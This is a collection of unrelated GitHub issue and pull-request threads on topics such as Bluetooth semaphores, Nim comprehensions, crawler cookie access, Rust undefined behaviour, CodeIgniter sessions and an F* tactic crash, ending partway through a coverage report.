What @Vudentz means is that all bt_att_chan_sen_rsp calls are set with non-empty function callbacks, therefore, always take k_sem before sending?
However, if you look at the implementation of this bt_att_chan_send function, you will know that it does not take k_sem.

Right when we set a callback the tx_sem is not taken so there is indeed a problem and we are calling k_sem_give when we shouldn't.

Add DNM label since #28937 solved this problem.

Right when we set a callback the tx_sem is not taken so there is indeed a problem and we are calling k_sem_give when we shouldn't. It is a different issue though so it shouldn't block this fix to go in.

@Vudentz Since you are removing the semaphore I'll close this pull request. Thank you.


Request for examples in README

Hello,
I started out trying to translate some lc (which is now deprecated) examples to comp, but I am completely lost where to begin.
There are my lc examples: https://scripter.co/notes/nim/#lc-deprecated
Is it possible to write the equivalent using comp? If so, can you please add few examples to the README?
Thanks.

OK, I mostly understood how to use comp as a replacement of lc: https://scripter.co/notes/nim/#using-comprehension
But I still cannot figure out how to translate this to comp:
import std/[sugar]

const
  n = 15
let
  numList = 1 .. n
  rightAngleTriangleSides =
    lc[(x, y, z) | (x <- numList,      # lc[EXPR | (ELEM1 <- LIST1,
                    y <- x .. n,       #            ELEM2 <- LIST2,
                    z <- y .. n,       #            ELEM3 <- LIST3,
                    x*x + y*y == z*z), #            COND),
       tuple[a, b, c: int]]            #    SEQ_TYPE]
echo rightAngleTriangleSides

https://play.nim-lang.org/#ix=1OLo

Failed attempt
import std/[strformat, sequtils]
import comprehension

const
  n = 15
let
  numList = 1 .. n
  numSeq = numList.toSeq
  rightAngleTriangleSides: seq[tuple[a, b, c: int]] =
    comp[for idx, sideA in numSeq:
           for sideB in sideA .. n:
             for sideC in sideB .. n:
               if sideA*sideA + sideB*sideB == sideC*sideC:
                 (sideA, sideB, sideC)]
echo &"numList of type {$type(numList)} = {numList}"
echo &"numSeq of type {$type(numSeq)} = {numSeq}"
echo &"rightAngleTriangleSides of type {$type(rightAngleTriangleSides)} (seq[SEQ_TYPE]) = {rightAngleTriangleSides}"


chore(release): 23.10.0

Pull Request Test Coverage Report for Build 1861

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 89.901%

Totals

Change from base Build 1859:
0.0%

Covered Lines:
950

Relevant Lines:
1005

💛  - Coveralls


allow-custom-resources and workbench jobs

Are there any known issues with not allowing allow-custom-resources (allow-custom-resources=0) and workbench jobs?  If I turn it on, the UI seems to respect it. However user cannot kick off workbench job.
We are running workbench in AKS.  We are using the same cluster to dispatch workbench jobs.  I noticed that if I attempt to set allow-custom-resources: 0 in the helm chart, we get the "Cannot start job" error when attempting to kick off a workbench job.  However, if I remove allow-custom-resources (or set allow-custom-resources: 1), it works properly.
Ideally, I would only like to allow an admin (or superuser) to run something on a custom resource. However, I can live without this is there is a known issue.
Here is the section (that works) if I comment out the offending statements. The 'xxx' are entries I want to keep private:
profiles:
    launcher.kubernetes.profiles.conf:
      "*":
        default-cpus: 1
        default-mem-mb: 512
        container-images:
          - "xxx"
          - "xxx"
          - "xxx"
        default-container-image: "xxx"
        allow-unknown-images: 0 # Whether to allow users to bring their own image
        job-json-overrides:
          - target: "/spec/template/metadata/annotations/cluster-autoscaler.kubernetes.io~1safe-to-evict"
            json: "false"
            name: evict-annotation
        resource-profiles: A-ExtraSmall,B-Small,C-Medium
        # allow-custom-resources: 0
      "@superuser":
        resource-profiles: A-ExtraSmall,B-Small,C-Medium,D-Large,E-ExtraLarge
        # allow-custom-resources: 1
      "@admin":
        resource-profiles: A-ExtraSmall,B-Small,C-Medium,D-Large,E-ExtraLarge,F-Risk
        # allow-custom-resources: 1

Thanks!

Howdy @murraj ! Thanks so much for reporting this. And thanks for your patience. This definitely feels like an issue / oversight in the product - I will pass this message along internally to see if we can reproduce it!


Inventory successfully created but model status is always broken after upgrading to v2.10.0

Related to #2444

Released a patch to fix the broken model.


fixes wrong info

using [0] gives an error because the property is not of array-type (5.1.1)

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Thank you! and congratulations on your first pull request :)


Distance rate - Dollar sign moves to left after clicking/tapping it

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Version Number: 9.0.31-5
Reproducible in staging?: Y
Reproducible in production?: N
Issue was found when executing this PR: https://github.com/Expensify/App/pull/47850
Issue reported by: Applause Internal Team
Action Performed:

Go to https://staging.new.expensify.com/ and log in
Navigate to any workspace and enable distance rates
Open Distance rate and select "+ Add rate"
Double click/tap the dollar sign

Expected Result:
The dollar sign does not move
Actual Result:
The dollar sign moves to the left and the layout gets broken
Workaround:
Unknown
Platforms:

[ ] Android: Native
[x] Android: mWeb Chrome
[ ] iOS: Native
[ ] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[ ] MacOS: Desktop

Screenshots/Videos
https://github.com/user-attachments/assets/a30d5f7a-763d-4506-90cb-f3954735ae8a

View all open jobs on GitHub

Thanks for the proposal! We have currently reverted the PR that caused the validation, but I think you're right. I am also not sure why those changes were added. We'll probably reintroduce the change

Tested and works fine!


Make sure we can configure adb reverse in the Cargo.toml

This adds a feature so we can set up reverse port forwarding from our Cargo.toml file before the app starts
[package.metadata.android.reverse_port_fwd]
"tcp:1338" = "tcp:1338"
"tcp:1339" = "tcp:1339"

Updated the readme in 4638053

I still don't feel entirely confident about having this in adb, we're just building out more and more passthrough commands for adb that don't have much in common with apk building anymore, but I don't have any other alternative :sob: (i.e. a server on the host that makes itself visible to connected adb devices instead, but adb wait-for-device isn't powerful enough). A scriptable pre-apk-start might solve many such things but isn't platform-agnostic either :(

I still don't feel entirely confident about having this in adb, we're just building out more and more passthrough commands for adb that don't have much in common with apk building anymore

For us, in practice, it means a significantly smoother and less error prone workflow for launching apk's, regardless of how much it has to do with building an apk or not, for us it's fundamental to running one which is why I'm proposing adding this to this tool.

Sure, and as said above we don't really have any clean/proper alternative. At the same time we're one of the very few actively contributing to cargo-apk so I think we can bend it towards our use-cases somewhat.
I'll apply the nits above and merge this, not sure when I'll push out a new (patch) release though (cargo install --git exists, fortunately).


✅ Fix "Download CAR file" on mobile

This change allows to download the CAR file in mobile apps.

I'll check this today if Eric doesn't get around to it 👍

FYI i was able to test on web & ios. I couldn't get my android emulator to work (for an unrelated reason I believe).

@haileyok Everything should be good now. Could you kindly review this again :-)


Multiple namesep options?

At some point I noticed that malformed bibtex files from journal websites were sometimes being constructed with semicolons between author names:
AUTHOR = { Will Robertson; John Robertson; Joe Blogs } ,

And I had an epiphany that this is how bibtex files should have been designed from the very beginning. I presume it is possible to allow biber to support this with --namesep=; but the manual rightly points out the portability issues this creates — more importantly (for me), I don't want to have to edit hundreds and hundreds of bibtex entries I've made over the years manually.
Would there be any chance that biber could be extended to allow multiple namesep options so that we could support more than one syntax? E.g. --extranamesep=; would keep and and also support ;

Thanks for the response — I can appreciate that. Great suggestion, I wasn't aware of the biber tool mode (to be honest I basically just use biber as a drop-in replacement for bibtex still).


How to get all cookies?

Hi yujiosaka,
I'm trying to retrieve all the cookies on a page (1st and third party cookies).
The default result.cookies only contains 1st party cookies:
onSuccess: (result => {
    console.log(result.cookies);
}),

There is a way with Puppeteer to get all cookies, including third party  with the await page._client.send('Network.getAllCookies')); method.
So I'm trying to use that with the crawler, however the onSuccess method only returns result which doesn't contain a reference to Puppeteer's page object.
Do you know where I can call the async page._client.send('Network.getAllCookies')); method so I can retrieve all cookies (1st/third) on every crawled page?
Many thanks

@pandacoder
That's a very interesting use case and I love it!
Currently, there is no way retrieving all cookies including third party ones.
The crawler exposes puppeteer's raw page object by newpage event, but it doesn't help you achieve the goal.
Sure, I can implement a feature to call 'Network.getAllCookies' for the specific case. It must be useful.
At the same time, it's about time for me to start thinking about providing another general solution to expose page object.
For me your fundamental needs sound similar to https://github.com/yujiosaka/headless-chrome-crawler/pull/233.
What do you think?

Reading these it came to me the thought that maybe it would be useful to expose the CDPSession (and perhaps building some utils to get/set the cookies and things like that) without accessing through the target object through the page object. That way you can access a lot of the underlying features of Puppeteer and Chrome.

@yujiosaka
You're right, it should be done with specific functions.
It can be limited to certain events like requeststarted and requestfinished.
That way you can have some sort of custom scraper for each page or request (as in #233)

@yujiosaka
I'm not a pro coder so please take my feedback accordingly. My general design approach would be to:

Do one thing do it well: focus headless-chrome-crawler development on crawler features (links discovery, queuing, concurrency, caching etc..) so it becomes the best library for doing that.
Everything else? Hand over: expose the underlying components (browser, page) so we can use them freely.

Too often I see helper libraries (built on top of main libraries) which abstract the source libraries too much, to a point that most features from the source libraries aren't available, so you end up ditching the helper library and write your own code (which defeats the point of the helper library which is to save you from re-inventing the wheel).
As for where/when expose the underlying components (browser,page), this is my naive thought: why not simply replicate all Page events?
class: Page
event: 'close'
event: 'console'
event: 'dialog'
event: 'domcontentloaded'
event: 'error'
event: 'frameattached'
event: 'framedetached'
event: 'framenavigated'
event: 'load'
event: 'metrics'
event: 'pageerror'
event: 'request'
event: 'requestfailed'
event: 'requestfinished'
event: 'response'

Seems https://github.com/yujiosaka/headless-chrome-crawler/issues/256 is related in terms of the necessity of adding general purpose function.

With headless-chrome-crawlerversion 1.8.0 you can use this customCrawl function to get all cookies:
async function customCrawl(page, crawl) {
  const result = await crawl();
  const cookies = await page._client.send('Network.getAllCookies');
  result.cookies = cookies.cookies;
  return result;
}


Update README.rdoc

Added the example walkthrough section to replace the example section. May be easier for people to follow and adapt to their existing applications.

thank you for this :)

@collegeimprovements, my apologies. I'll update the example to remove this and start date. At the time, I was using a calendar builder to put who was working at a given time and date.

It was the aimple_calendar gem found here: https://github.com/excid3/simple_calendar

ah...ok. I found your example useful. Thank you  for your efforts :)

@collegeimprovements, glad it helped you.


Note that UB is program-global

Fixes #485
I just wrote this up in a few seconds, so not sure how good the writing is. Figured a note would be good for undefined behavior crossing language barriers.
r? @RalfJung or @ubsan

I think suggesting that UB is bounded at the process level is too nice as it could cause UB in your entire system depending on OS?
Otherwise it looks good, I just don't know if it belongs in the reference or in the nomicon. It seems the latter is more appropriate?

Anything about unsafety/UB in the reference should be taught in the nomicon. The reference is the place to go for referring to what you've already learned from TRPL or the Nomicon. So, in that sense, it should be placed there.
As for UB affecting the whole OS, I'm not sure how that works unless the process is compiled as part of the OS. Unless you mean the general sense of having a process that could do anything means you have a system that can do anything?

Anything about unsafety/UB in the reference should be taught in the nomicon. The reference is the place to go for referring to what you've already learned from TRPL or the Nomicon. So, in that sense, it should be placed there.

I'm thinking of the reference more as an informal specification of Rust's syntax and static/dynamic semantics; but not as a place where you get more general advanced advice, which the proposed change strikes me as.

As for UB affecting the whole OS, I'm not sure how that works unless the process is compiled as part of the OS. Unless you mean the general sense of having a process that could do anything means you have a system that can do anything?

I'm not sure (totally not an OS expert by any means...). I'm thinking in these terms: Consider a process that runs in ring 0... If UB in one ring-0 process causes it to corrupt memory of other processes, could it not cause UB in those?

If all processes share the same address space, then memory corruption can be cross-process. But at that point, you could consider all programs part of the same process? But also, by the point somebody runs across this condition, they've hopefully been warned about it in the docs on writing for such an OS. And explaining it here would just muddy everyone else's understanding of it?
It is more general semantics of inter-programming language stuff than explanation of the semantics of the Rust language. Thus I put it in a note. For what's a quick list of UB things to reference, reminding people that UB is not necessarily just in Rust seems like a useful thing to do. Plus the person who opened the issue wondering after looking at the list means that saying nothing leaves it potentially confusing for others as well.

If all processes share the same address space, then memory corruption can be cross-process. But at that point, you could consider all programs part of the same process? But also, by the point somebody runs across this condition, they've hopefully been warned about it in the docs on writing for such an OS. And explaining it here would just muddy everyone else's understanding of it?

Yeah I suppose.

It is more general semantics of inter-programming language stuff than explanation of the semantics of the Rust language. Thus I put it in a note. For what's a quick list of UB things to reference, reminding people that UB is not necessarily just in Rust seems like a useful thing to do. Plus the person who opened the issue wondering after looking at the list means that saying nothing leaves it potentially confusing for others as well.

Alright, let's :shipit: .

@centril that's along the lines of "no way to reasonably do anything about that". The way language implementations work is that they assume that the hardware and the OS is not faulty. Anything outside of that and there's no way to do anything about it.

I think suggesting that UB is bounded at the process level is too nice as it could cause UB in your entire system depending on OS?

Well if your OS doesn't do process separation, sure -- but would we even still call that an OS nowadays?^^
This PR seems fine to me.

Thanks @Havvy!

Thanks!


Members Page Filter "Sort by joined date ascending" not working

Reproduce:

Go to https://dho.hypha.earth/hypha/members
Change filter to "sort by date ascending"
Check result

Expected result:
I can see the members sorted by joined date ascending
Experienced result:
I only see one member

@jmgayosso @garcia-alejandro can't test this because all members on test have joined date 14. feb 2021 - so I can't see if the sorting works:

https://dao-dev.hypha.earth/hypha/members


Create Template Wizard: resulting template is not rendered

In the last step of the Create Template Wizard, the created template yaml is not shown.
kubevirt-web-ui-1.4.0-7


post with header and body

How do I send a post request with "content-type": "application/x-www-form-urlencoded" + body values?
Is there a chance you can share some examples?'
Thanks for the help!

chakram.post(url, body, {headers: {'content-type': 'application/x-www-form-urlencoded'}})


50.3.2 stopped including the documentation in the source distribution (50.3.0 still included it)

50.3.2 stopped including the documentation in the source distribution (50.3.0 still included it)
it's not mentioned ine changelog, I assume it's a bug.

Actually, it was 50.3.1. The change was 73e379cc55ac1e9ec63c4ac30b75ecc82418f513 and it's fixed in d00fac7b86abd71664af6a28acd924eff7c79017.


one-click-review-submission feature broken

Description
Oops

TypeError: Cannot read properties of undefined (reading 'append')
    at addButtons (chrome-extension://jfnbjdajagmjideggedlljgaddlmffhd/refined-github.js:10503:15)
    at init (chrome-extension://jfnbjdajagmjideggedlljgaddlmffhd/refined-github.js:10568:3)
    at runFeature (chrome-extension://jfnbjdajagmjideggedlljgaddlmffhd/refined-github.js:3793:22)
    at setupPageLoad (chrome-extension://jfnbjdajagmjideggedlljgaddlmffhd/refined-github.js:3805:11)
    at chrome-extension://jfnbjdajagmjideggedlljgaddlmffhd/refined-github.js:3857:15

Probably it's what was being requested in https://github.com/refined-github/refined-github/issues/6048#issuecomment-1536531740
How to replicate the issue + URL
https://github.com/refined-github/refined-github/pull/6617/files
Extension version
23.4.26
Browser(s) used
Chrome, Safari

Just encountered this myself.
Its funny, I've gotten so used to github refined I don't even remember what the github UI looks like without the changes.


Trait not found in laravel 5.4.34

I have followed all the step  for installing the package when i am trying to use it for model log it showing
Trait 'Spatie\Activitylog\Traits\LogsActivity' not found Error
My Model Code
<?php

namespace App;

use Illuminate\Database\Eloquent\Model;
use Spatie\Activitylog\Traits\LogsActivity;

class Payments extends Model
{
    use LogsActivity;
    protected $logAttributes  = ['column1', 'column2', 'column3', 'column4', 'column5', 'column6' ];
    protected static $logOnlyDirty = true;
    protected $fillable = ['column1', 'column2', 'column3', 'column4', 'column5', 'column6' ];
}

Does this file existing in the package directory inside the vendor directory?
https://github.com/spatie/laravel-activitylog/blob/master/src/Traits/LogsActivity.php

Try installing it via Composer in a vanilla project.

Closing this due to inactivity of OP.

Hello,
I'm facing the same issue. I have upgraded laravel 5.1 to laravel 5.5.
I did this -
Simply comment out the line within the ServiceProvider, publish the migration, rename the class in the new migration file to something like CreateNewActivityLogTable and then run composer dump
But now project I'm getting trait missing.  "Trait 'Spatie\Activitylog\LogsActivity' not found"
LogsActivity.php is found in \vendor\spatie\laravel-activitylog\src\Traits  in my installation. my composer has "spatie/laravel-activitylog": "^2.5"
I have migrated the new activity log table, manually added content to app/activitylog.php and in service provider array added "Spatie\Activitylog\ActivitylogServiceProvider::class,"


🪲Bug: Youtube Comment

This bug happened in comment area. Sometimes the string containing marked text did not be replaced as it should be. It just stayed there.

Maybe that is also why i sometimes found that the title of some suggested videos (on the right side) are wrong. but this need further check.
So as usual, i don't think this could be easily fixed.
hope someone can give me advices 😅

And This screenshot is from Wayne's so sad - 喔我沒有靈魂
https://www.youtube.com/watch?v=kBjJSweLyXc
The best songwriter, former guitarist of Wayne's so sad, passed away in 2023.6.10.
Wayne Liu, I love you, Rest In Peace.


Fix image URL that lead to bug in staging deployment

Codecov Report

Merging #55 (dabf5d1) into dev (fba4888) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##               dev       #55   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            2         2
  Lines           45        45
=========================================
  Hits            45        45

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fba4888...dabf5d1. Read the comment docs.


[stable/grafana] Add quotes to the value of the labels

What this PR does / why we need it:
Which issue this PR fixes
(optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged)

Kubernetes doesn't auto convert integer to string, this means that the label values must be quoted.

Special notes for your reviewer:
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[ ] DCO signed
[ ] Variables are documented in the README.md
[ ] Title of the PR starts with chart name (e.g. [stable/chart])

Signed-off-by: Wesley Galdino<EMAIL_ADDRESS>

/assign @rtluckie

/retest

/ok-to-test

@wgaldino
Could you sign as above please?

@zanhsieh
Is it required to bump the chart version for a change in the README?

@zanhsieh
Is it required to bump the chart version for a change in the README?

No.


Ansible warnings

TASK [ansible-role-smartd : debug] *********************************************
Tuesday 11 October 2016  10:11:02 +0300 (0:00:00.145)       0:00:05.181 *******
[DEPRECATION WARNING]: Skipping task due to undefined Error, in the future this will be a fatal error.: 'dict object' has no attribute 'stdout_lines'.
This feature will be removed in a
future release. Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.
skipping: [login2]

TASK [ansible-role-smartd : DELL - populate smartd file with these devices except /dev/sda] ***
Tuesday 11 October 2016  10:09:49 +0300 (0:00:00.136)       0:00:05.186 *******
[DEPRECATION WARNING]: Skipping task due to undefined Error, in the future this will be a fatal error.: 'dict object' has no attribute 'stdout_lines'.
This feature will be removed in a
future release. Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.
skipping: [login2]

TASK [ansible-role-smartd : Generic - populate smartd file with these devices] *
Tuesday 11 October 2016  10:09:49 +0300 (0:00:00.142)       0:00:05.329 *******
[DEPRECATION WARNING]: Skipping task due to undefined Error, in the future this will be a fatal error.: 'dict object' has no attribute 'stdout_lines'.
This feature will be removed in a
future release. Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.
skipping: [login2]

Thanks!
Think one can fix this by adding "ansible_devices.sda is defined"


bug: redirect clears or destroy the session object

i worked in a code of my page.. as many examples in web.. but those that implicas "redirect" directive of CI does not work..
how this happens? easy, make just a form with a value, and send to a controller that opens a session object.. after success created the session make a redirect.. and session retrieve of the data are empty:

Form submitted
Receive in controller
after session created Redirects
after try to get some data result in empty or null

after a search i found some bugs reported like: https://github.com/bcit-ci/CodeIgniter/issues/5934#issuecomment-605914977 and  https://github.com/bcit-ci/CodeIgniter/issues/5545 and https://github.com/bcit-ci/CodeIgniter/issues/5545
The common denominator:  the redirection! and the session id validation
in my code i removed the redirect and works! but if i try to put any redirect usage.. session are destroyed! after this i try to search in older versions and works with 2.X and 3.1+patch (https://medium.com/@denissetianto/codeigniter-session-data-lost-after-redirect-60809efb689e) for php 5.6 and php 7.X, but seems in https://github.com/bcit-ci/CodeIgniter/issues/5545#issuecomment-405923226 resolved too but needs work, currently doe snot work with php 5.6 and php 7.0!
hope this clarify and make at least a proper bug request over the session problem for me and @luizzz @it-can @wrabit and others..

I think that bug, has reported before!
Please Help!

No, this isnt clarifying anything.
You're saying meaningless things, in poor English (I can't blame you, but the fact is it makes understanding you harder), linking to an awful blog post that doesn't differentiate between CI2 and CI3, the phrase "bug request" is an oxymoron ... I don't think you even understand what the term bug means.
I'm going to assume that you're talking about the redirect() URL helper here, because nothing else makes sense.
redirect() does an exit; at its end and when you do use redirect(), it interrupts everything that's still going on and stops all remaining script execution. If you use it before a session is properly initialized, that will naturally not allow it to complete.
This applies to everything. Redirects don't have any relation or knowledge of sessions and vice-versa.
This is not a bug.


chore: fix readme

fix typo in Limitation section

We've this app

to

We've create this app

CLA signed.


What's the story with iPad support?

I can load the exponent app on my iPad, but it appears to be in iPhone emulation mode on the small screen.

cc @terribleben

Hi @bolinfest, as you've observed, we don't currently target iPad in the exponent iOS client. I can add it to our roadmap for one of the next SDKs if it's important to you.

+1 from me - iPad support would be important

+1
On Sun, Oct 16, 2016 at 6:21 AM, Jochen H. Schmidt<EMAIL_ADDRESS>
wrote:

+1 from me - iPad support would be important
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/exponentjs/exponent/issues/4#issuecomment-254038736,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABrIRxSvUP6y0uDjxI4N5Debzsos0LYXks5q0fq4gaJpZM4J7UEn
.

+1 - I want iPad support too.

+1 😄

+1

+1

We're supporting this in SDK 11, which we're planning to release sometime this week.

Supported in SDK 11! https://blog.getexponent.com/exponent-sdk-v11-0-0-is-now-available-6c1c93abc5ae

Nice work! 👍🏼
Saw that iPad resolution works in the latest release of Exponent client app in App Store.
On Mon, Nov 7, 2016 at 7:35 PM -0500, "Ben Roth"<EMAIL_ADDRESS>wrote:
Supported in SDK 11! https://blog.getexponent.com/exponent-sdk-v11-0-0-is-now-available-6c1c93abc5ae
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.


I need to use a different value for the code that goes to the bottom of the tiles list.

Maybe I can set it to the y-value of the new tile and add the tile's height. What's weird is it works correctly on my computer but not on the phone.

Have I fixed this yet? I don't know.


Stream data corruption

Data sent along a stream sometimes differs from the data received. Test case here. It takes a while (ballpark ~30k iterations in my case) to reproduce for me on macOS on localhost with no packet unreliability configured.
Comparing the hex dumps from a few different repros, 1167*n (typically 1 but sometimes 2) bytes seem to be duplicated at the beginning, and that same number deleted at some random other offset.

Thanks for reporting this! This is a serious issue. Either we're generating incorrect stream frames, or we're assembling them incorrectly. My inclination is to suspect the latter, as that logic has changed most recently. Trace logs of an instance would allow us to confirm, and will be sufficient to generate a minimal testcase if it's the assembler.

Are you running in release or debug mode? I ran in release for a good while and wasn't able to reproduce.

Release mode. I've included a trace here.

Thanks! Unfortunately this doesn't include the interesting segment. Could you upload the whole thing, maybe compressed? Setting BUF much smaller and/or validating data as it comes in might also help trim things down a bit.

Full trace here. Took a few runs but got one where it happened soon enough that the trace wasn't 0.5GiB!

If your reproduction path isn't too onerous, might be interesting to try this against 0.5.0 (and if it works correctly there, bisect?).


Esp8266web on nodemcu amica r2

I have flashed esp8266web on nodemcu amica r2 40mhzcflash speed, dio flash mode, 32m flash size, but all I get is a continuos stream of exceptions.
Is this platform supported?

DIO mode included in the new version.
The settings in the makefile.


Customer as Resource/ PIP package name

Solves #15 and #13

Will this be merged?

Just 2 things

BASE_URL should be imported from settings.
__init__ should accept kwargs and put in data, matching future API changes.

I'm really sorry for the late answer, but has been a tough week.

Okay, all set. Let me just rebase now.

Now just merge the self.data with kwargs.
I'll test 1st thing tomorrow.

@pbassut any news about the self.data ?

Fixed by 900edc1 and 7d177e9. Thanks!

Looks like the only thing that was added was a few letters in addition to completely ruling out the work I did. That's discouraging...

Hey @pbassut do you mind finish your PR ?
Please dont take too much to answer.

@mbodock My work was already done by someone else. I can't realize why finishing this PR would be productive.

Woops, looks like this one wasn't done.
It's on the way now.

The changes have been reverted.
You don't have to. But would be really nice. ;)

It's done.

I'll check.

@pbassut Looks really nice.
Do you mind squash your commits, so the history don't get too polluted?
There's a lot of duplicated commits with meaningless messages.

Let me know what you think

I don't get it, why didn't you squashed the merge commit ?

Sorry, I was leaving work at that time. Kinda a hurry :).
It's done now.

Its looking really fine, just one more thing. In your rebase you probably mess up with the README.
Could you please revert?

Ping @pbassut.

Dame, didn't realize that. Don't worry, I'll fix it.
Enviado do meu iPhone

Em 5 de mar de 2016, às 09:35, Marcus Bodock<EMAIL_ADDRESS>escreveu:
Ping @pbassut.
—
Reply to this email directly or view it on GitHub.

@pbassut any news ?

Going in now. I'll check on that as soon as I get there
Enviado do meu iPhone

Em 8 de mar de 2016, às 08:50, Marcus Bodock<EMAIL_ADDRESS>escreveu:
@pbassut any news ?
—
Reply to this email directly or view it on GitHub.

@mbodock So, I don't see what's wrong with it.
Why is the README messed up?

the structure of the current README is a little better.
The README isn't messed up, I just prefer the one Victor wrote.
Try let it unmodified.

@mbodock Well, so that's the one victor did. I didn't touch the README in my original PR(just added a line, didn't permutate the lines). That came from the commits/reverses/rebases.
It wasn't me the modified it and my original commit.
Sure you want me to remove them?

Take a look here

Your changes here tells that you reversed the README.

We're all good now, I guess.
Let me know about anything.

Thank you @pbassut. I'll talk with the release master when we will make new release.


UART - System Level  task - To enable user read burst transfers to a file on Host device

Resolved - done


Failure("Impossible: missing universe instantiation on unroll")

Steps to reproduce:
jonathan@absinthe:/tmp $ fstar.exe --codegen OCaml --extract Unroll Unroll.fst --include ~/Code/kremlin/kremlib && cat Unroll.ml
proof-state: State dump @ depth 0 (at the time of failure):
Location: Unroll.fst(19,4-21,64)
Goal 1/1:
 |- _ : Prims.squash ((fun b ->
        C.Loops.for (FStar.UInt32.__uint_to_t 0)
          (FStar.UInt32.__uint_to_t 16)
          (fun h _ -> LowStar.Monotonic.Buffer.live h b)
          (fun i ->
              let _ =
                let _ = LowStar.Monotonic.Buffer.index b i in
                FStar.UInt8.add_mod _ (FStar.UInt8.__uint_to_t 1)
              in
              LowStar.Monotonic.Buffer.upd b i _)
        <:
        FStar.HyperStack.ST.Stack Prims.unit
          (fun h0 -> LowStar.Monotonic.Buffer.live h0 b)
          (fun _ _ _ -> Prims.l_True)) ==
    (*?u0*)
    _)

the testcase:
module Unroll

module B = LowStar.Buffer
module T = FStar.Tactics

open FStar.Tactics
open FStar.HyperStack.ST

let unroll t () : Tac unit =
  T.norm [primops; zeta_full; delta(*_only [t]*); iota];
  T.trefl()

[@@(postprocess_for_extraction_with (unroll (`%C.Loops.for)))]
let test (b: B.buffer UInt8.t { B.length b == 16 }): Stack unit
  (requires (fun h0 -> B.live h0 b))
  (ensures (fun _ _ _ -> True))
=
  (* norm [ primops; iota; zeta_full; delta_only [ `%C.Loops.for ] ] ( *)
    C.Loops.for 0ul 16ul
  (* ) *) (fun h _ -> B.live h b)
    (fun i -> B.upd b i (B.index b i `FStar.UInt8.add_mod` 1uy))

thanks!
Jonathan

(Sorry Zoe.. missed a few keystrokes from my terminal into here and somehow assigned you.)
Argh so this is an oversight on my part, these attributes are not typechecked and hence not elaborated, so the tactics crash. I've made them check at typechecking time, and the postprocess_for_extraction_with variant can then just run the tactic as-is at extraction. However, this requires to call deep_compress on the tactic term before passing it along or it will explode when it reaches a uvar node. That almost works, except that we would also need default unconstrained variables to zero, just as we do for top-levels, which begs the question of whether attributes should just always be elaborated... any opinion @nikswamy @aseemr ?
In any case, pushing the current status into master which should cover most uses. See the file below, the last example crashes but I wouldn't expect it to be common.
let unroll t1 t2 () : Tac unit =
  T.trefl()

[@@ expect_failure [12];
    postprocess_with (unroll (`%int))]
let test0 () : int = 42

[@@ expect_failure [12];
    postprocess_for_extraction_with (unroll (`%int))]
let test1 () : int = 42

[@@ postprocess_with (unroll () (`%int))]
let test2 () : int = 42

[@@ postprocess_for_extraction_with (unroll () (`%int))]
let test3 () : int = 42

[@@ postprocess_for_extraction_with (unroll (raise_val ()) (`%int))]
let test4 () : int = 42


refactor: Introduce Fragmentizer

In the long term we might want to add a utility to imap-codec for better message/line/literal parsing. But before that, let's do some experiments in this repository.
The module receive already contains some primitive line/literal parsing. Let's extract and extend this functionality.
Closes #129
Closes #198

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

884 of 1027 (86.08%)  changed or added relevant lines in 4 files are covered.
3 unchanged lines in 1 file lost coverage.
Overall coverage increased (+4.1%) to 80.193%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
26
88.46%

src/receive.rs
65
78
83.33%

src/server.rs
70
87
80.46%

src/fragmentizer.rs
726
836
86.84%

Files with Coverage Reduction
New Missed Lines
%

src/receive.rs
3
83.84%

Totals

Change from base Build<PHONE_NUMBER>:
4.1%

Covered Lines:
1660

Relevant Lines:
2070

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

824 of 975 (84.51%)  changed or added relevant lines in 4 files are covered.
193 unchanged lines in 4 files lost coverage.
Overall coverage decreased (-3.8%) to 72.348%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/fragmentizer.rs
676
719
94.02%

src/receive.rs
55
100
55.0%

src/server.rs
70
120
58.33%

Files with Coverage Reduction
New Missed Lines
%

src/lib.rs
2
75.0%

src/receive.rs
43
43.95%

src/client.rs
54
54.38%

src/server.rs
94
51.15%

Totals

Change from base Build<PHONE_NUMBER>:
-3.8%

Covered Lines:
1596

Relevant Lines:
2206

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

827 of 975 (84.82%)  changed or added relevant lines in 4 files are covered.
193 unchanged lines in 4 files lost coverage.
Overall coverage decreased (-6.2%) to 76.02%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/fragmentizer.rs
676
719
94.02%

src/receive.rs
55
100
55.0%

src/server.rs
73
120
60.83%

Files with Coverage Reduction
New Missed Lines
%

src/lib.rs
2
75.0%

src/receive.rs
43
43.95%

src/client.rs
54
59.91%

src/server.rs
94
56.52%

Totals

Change from base Build<PHONE_NUMBER>:
-6.2%

Covered Lines:
1677

Relevant Lines:
2206

💛  - Coveralls

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

827 of 975 (84.82%)  changed or added relevant lines in 4 files are covered.
193 unchanged lines in 4 files lost coverage.
Overall coverage decreased (-6.2%) to 76.02%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/client.rs
23
36
63.89%

src/fragmentizer.rs
676
719
94.02%

src/receive.rs
55
100
55.0%

